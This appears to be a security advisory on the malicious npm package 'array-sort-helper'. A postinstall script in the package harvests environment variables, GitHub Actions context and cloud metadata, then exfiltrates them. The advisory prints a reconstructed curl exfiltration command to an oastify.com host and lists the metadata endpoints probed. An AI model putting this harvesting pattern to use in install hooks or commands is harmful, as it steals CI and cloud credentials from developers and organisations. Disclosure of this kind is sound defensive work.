VDB
GCVE-110-OSM-2026-9245
GCVE-110-OSM-2026-9245
Advisory PublishedCVSS 9.6/10
This package is an unambiguous supply-chain attack designed to exfiltrate environment data from CI/CD pipelines and cloud environments. The postinstall.js script runs on install, executes a shell command that collects hostname, username, process tree, full environment variables (filtered to exclude npm noise), GitHub Actions context variables (GITHUB_REPOSITORY, GITHUB_ACTOR, GITHUB_RUN_ID, RUNNER_NAME), and cloud metadata probe responses from both AWS IMDS (169.254.169.254) and Tencent Cloud metadata endpoints, base64-encodes the bundle, and exfiltrates it via curl to the OAST endpoint pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The attacker model is a CI/CD credential and environment harvester targeting GitHub Actions runners and cloud workloads. The Chinese-language comment '精简溯源版 — 核心信息 + 完整 ENV' ('streamlined tracing version — core info + full ENV') confirms deliberate authorship of a reconnaissance payload. The publisher account is less than 2 hours old with 12 packages published simultaneously, a classic burst pattern for a malicious campaign.
ENTRY
postinstall.js (install-hook: node postinstall.js)
- Install Hook Executes Local JS File in package.json
DESTINATION
- reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$data" (primary, reconstructed)
- custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js
- custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js
- custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js
EXFIL
- OAST/Interactsh Exfiltration in postinstall.js: "oastify.com"
- Suspicious Domain in postinstall.js: "oastify.com"
OBFUSCATION
- recovered 1 urls from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Shell Command Execution in postinstall.js: "require('child_process')"
- Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..."
- Brand New Package
- Very New NPM Publisher Account
PAYLOAD FILES
postinstall.js
INDICATORS (IOCs)
- payloadFileHash: 5826f6884581fbfa40d0793ff4c4b6f3b4e5e0a704bfd87bf7c4e3ec274b2ec9
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | array-sort-helper | all (affected) | — |
Aliases
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